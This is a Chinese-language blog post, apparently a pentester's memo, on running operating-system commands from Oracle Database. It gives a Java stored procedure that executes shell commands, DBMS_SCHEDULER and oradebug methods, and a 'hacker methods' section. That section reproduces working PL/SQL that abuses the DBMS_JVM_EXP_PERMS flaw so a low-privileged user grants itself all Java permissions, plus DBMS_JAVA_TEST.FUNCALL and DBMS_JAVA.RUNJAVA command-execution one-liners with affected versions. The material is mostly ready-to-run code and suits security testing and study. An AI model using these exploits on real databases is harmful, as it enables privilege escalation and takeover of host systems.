Execute os command in Oracle Database

1. 正统方法

1.1 使用JAVA

1.1.1 代码

Oracle 数据库都支持Java,可以利用java来实现我们需要的功能。

CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "JAVACMD" AS
import java.lang.*;
import java.io.*;

public class JAVACMD
{
 public static void execCommand (String command) throws IOException
 {
    try {
        String[] finalCommand;
        if (System.getProperty("os.name").toLowerCase().indexOf("windows") != -1) {
            finalCommand = new String[4];
            finalCommand[0] = "C:\\windows\\system32\\cmd.exe";
            finalCommand[1] = "/y";
            finalCommand[2] = "/c";
            finalCommand[3] = command;
        } else {
            finalCommand = new String[3];
            finalCommand[0] = "/bin/sh";
            finalCommand[1] = "-c";
            finalCommand[2] = command;
        }
        Process p = Runtime.getRuntime().exec(finalCommand);
        if (p.waitFor() != 0) {
            if (p.exitValue() == 1)
               System.err.println("command execute failed.");
        }
        BufferedInputStream in = new BufferedInputStream(p.getInputStream());
        BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
        String lineStr;
        while ((lineStr = inBr.readLine()) != null)
            System.out.println(lineStr);
        inBr.close();
        in.close();
    } catch (Exception e) {
        e.printStackTrace();
    } 
 }
};
/

CREATE OR REPLACE PROCEDURE JAVACMDPROC (p_command IN VARCHAR2)
AS LANGUAGE JAVA
NAME 'JAVACMD.execCommand (java.lang.String)';
/

1.1.2 设置输出

set serveroutput on size 100000;
exec dbms_java.set_output(100000);

1.1.3 需要的权限

可以使用下面的语句查询相关权限

  • 用户权限
select * from session_privs;
  • JAVA 权限
select * from dba_java_policy;
select * from user_java_policy;

使用java代码执行系统命令需要的权限,可以使用下面语句进行授权:

exec dbms_java.grant_permission('SCOTT', 'SYS:java.io.FilePermission','<<ALL FILES>>','execute');
exec dbms_java.grant_permission('SCOTT','SYS:java.lang.RuntimePermission', 'writeFileDescriptor', '');
exec dbms_java.grant_permission('SCOTT','SYS:java.lang.RuntimePermission', 'readFileDescriptor', '');

1.1.4 实验结果

非常不错支持回显。

SQL> exec javacmdproc('/bin/uname -a');
Linux localhost.localdomain 2.6.32-100.34.1.el6uek.i686 #1 SMP Wed May 25
17:28:36 EDT 2011 i686 i686 i386 GNU/Linux

PL/SQL procedure successfully completed.

1.1.5 注意

需要使用全路径

1.2 DBMS_SCHEDULAR

1.2.1 DBMS_SCHEDULAR 简介

这个和Windows上的计划任务类似。

1.2.2 需要的权限

  1. CREATE JOB
  2. CREATE EXTERNAL JOB
  3. EXECUTE on dbms_scheduler (granted to public by default)

grant create job, create external job to scott ;

1.2.3 执行的语句

BEGIN
DBMS_SCHEDULER.CREATE_PROGRAM (
program_name=> 'MyCmd',
program_type=> 'EXECUTABLE',
-- Use the ampersand to break out
program_action => '/tmp/a.sh',
enabled=> TRUE,
comments=> 'Run a command using shell metacharacters.'
 );
END;
/

BEGIN
DBMS_SCHEDULER.CREATE_JOB (
   job_name=> 'X',
   program_name=> 'MyCmd',
   repeat_interval=> 'FREQ=SECONDLY;INTERVAL=10',
   enabled=> TRUE,
   comments=> 'Every 10 seconds');
END;
/

exec DBMS_SCHEDULER.RUN_JOB ( job_name=> 'X');

1.2.4 注意

  1. 原先使用 || 等 metacharacters 的bug已经修复,只能使用参数
  2. Windows系统必须开启OracleJobSchedulerSID 服务
  3. Linux系统上相关文件的权限必须正确
  4. 高版本的Linux,执行的group已经被Oracle将为nobody

总之这个方法局限行很大,不推荐使用,列在这里只是做一个备忘。

1.3 使用oradebug

  • oradebug 简介
    oradebug是一个神奇的命令, 能干很多活, 但是Oracle却很少提及,属于undocumented
    状态,是给oracle的工程师使用的,主要用于调试和性能调优。可以使用 oradebug help
    命令,查看oradebug的用法
SQL> oradebug help
HELP           [command]                 Describe one or all commands
SETMYPID                                 Debug current process
SETOSPID       <ospid>                   Set OS pid of process to debug
SETORAPID      <orapid> ['force']        Set Oracle pid of process to debug
SETORAPNAME    <orapname>                Set Oracle process name to debug
SHORT_STACK                              Get abridged OS stack
CURRENT_SQL                              Get current SQL
DUMP           <dump_name> <lvl> [addr]  Invoke named dump
DUMPSGA        [bytes]                   Dump fixed SGA
DUMPLIST                                 Print a list of available dumps
EVENT          <text>                    Set trace event in process
SESSION_EVENT  <text>                    Set trace event in session
DUMPVAR        <p|s|uga> <name> [level]  Print/dump a fixed PGA/SGA/UGA variable
DUMPTYPE       <address> <type> <count>  Print/dump an address with type info
SETVAR         <p|s|uga> <name> <value>  Modify a fixed PGA/SGA/UGA variable
PEEK           <addr> <len> [level]      Print/Dump memory
POKE           <addr> <len> <value>      Modify memory
WAKEUP         <orapid>                  Wake up Oracle process
SUSPEND                                  Suspend execution
RESUME                                   Resume execution
FLUSH                                    Flush pending writes to trace file
CLOSE_TRACE                              Close trace file
TRACEFILE_NAME                           Get name of trace file
LKDEBUG                                  Invoke global enqueue service debugger
NSDBX                                    Invoke CGS name-service debugger
-G             <Inst-List | def | all>   Parallel oradebug command prefix
-R             <Inst-List | def | all>   Parallel oradebug prefix (return output
SETINST        <instance# .. | all>      Set instance list in double quotes
SGATOFILE      <SGA dump dir>         Dump SGA to file; dirname in double quotes
DMPCOWSGA      <SGA dump dir> Dump & map SGA as COW; dirname in double quotes
MAPCOWSGA      <SGA dump dir>         Map SGA as COW; dirname in double quotes
HANGANALYZE    [level] [syslevel]        Analyze system hang
FFBEGIN                                  Flash Freeze the Instance
FFDEREGISTER                             FF deregister instance from cluster
FFTERMINST                               Call exit and terminate instance
FFRESUMEINST                             Resume the flash frozen instance
FFSTATUS                                 Flash freeze status of instance
SKDSTTPCS      <ifname>  <ofname>        Helps translate PCs to names
WATCH          <address> <len> <self|exist|all|target>  Watch a region of memory
DELETE         <local|global|target> watchpoint <id>    Delete a watchpoint
SHOW           <local|global|target> watchpoints        Show  watchpoints
DIRECT_ACCESS  <set/enable/disable command | select query> Fixed table access
CORE                                     Dump core without crashing process
IPC                                      Dump ipc information
UNLIMIT                                  Unlimit the size of the trace file
PROCSTAT                                 Dump process statistics
CALL           [-t count] <func> [arg1]...[argn]  Invoke function with arguments

功能非常丰富, 下面我们用到的是 CALL 可以直接调用oracle进程使用的函数。

执行的语句

oradebug setmypid; oradebug call system "/usr/bin/whoami >/tmp/ret";

注意

  1. 这里权限要求是SYSDBA
  2. 双引号里必须是使用TAB而不能使用空格
  3. Linux 和 Windows 下的ORACLE都能利用成功

2. 黑客方法

下面用到的两个方法是David Litchfield 在Blackhat DC 2010 上公开两个方法,通过逆向
发现。结合DBMS_JVM_EXP_PERMS的漏洞可以直接执行系统命令(DBMS_JVM_EXP_PERMS 漏洞
已经被被修复)

DECLARE
POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
CURSOR C1 IS SELECT ‘GRANT’,USER(), ‘SYS’,'java.io.FilePermission’,’<<ALL FILES>>‘,’execute’,'ENABLED’ from dual;
BEGIN
OPEN C1;
FETCH C1 BULK COLLECT INTO POL;
CLOSE C1;
DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
END;
/

在有漏洞的DBMS_JVM_EXP_PERMS package的Oracle上执行上述语句,有create session
权限的用户可以给自己授权所有java 权限。

2.1 DBMS_JAVA_TEST.FUNCALL

2.1.1 执行的语句

Select DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','/bin/bash','-c','/bin/ls>/tmp/OUT2.LST') from dual;

2.1.2 需要的权限

exec dbms_java.grant_permission('SCOTT', 'SYS:java.io.FilePermission','<<ALL FILES>>','execute');

2.1.3 受影响系统

11g R1, 11g R2

2.2 DBMS_JAVA.RUNJAVA

2.2.1 执行的语句

SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper /bin/bash -c /bin/ls>/tmp/OUT.LST') FROM DUAL;

2.2.2 需要的权限

exec dbms_java.grant_permission('SCOTT', 'SYS:java.io.FilePermission','<<ALL FILES>>','execute');

2.2.3 受影响系统

10g R2, 11g R1, 11g R2

参考链接

  1. Using Java to run os command
  2. DBMS_SCHEDULER
  3. oradebug
  4. BlackHat-DC-2010-Litchfield-Oracle11g
  5. Hacking Oracle from the Web

Execute os command in Oracle Database
https://usmacd.com/cn/oracle_run_os_cmd/
作者
henices
发布于
2023年9月6日
许可协议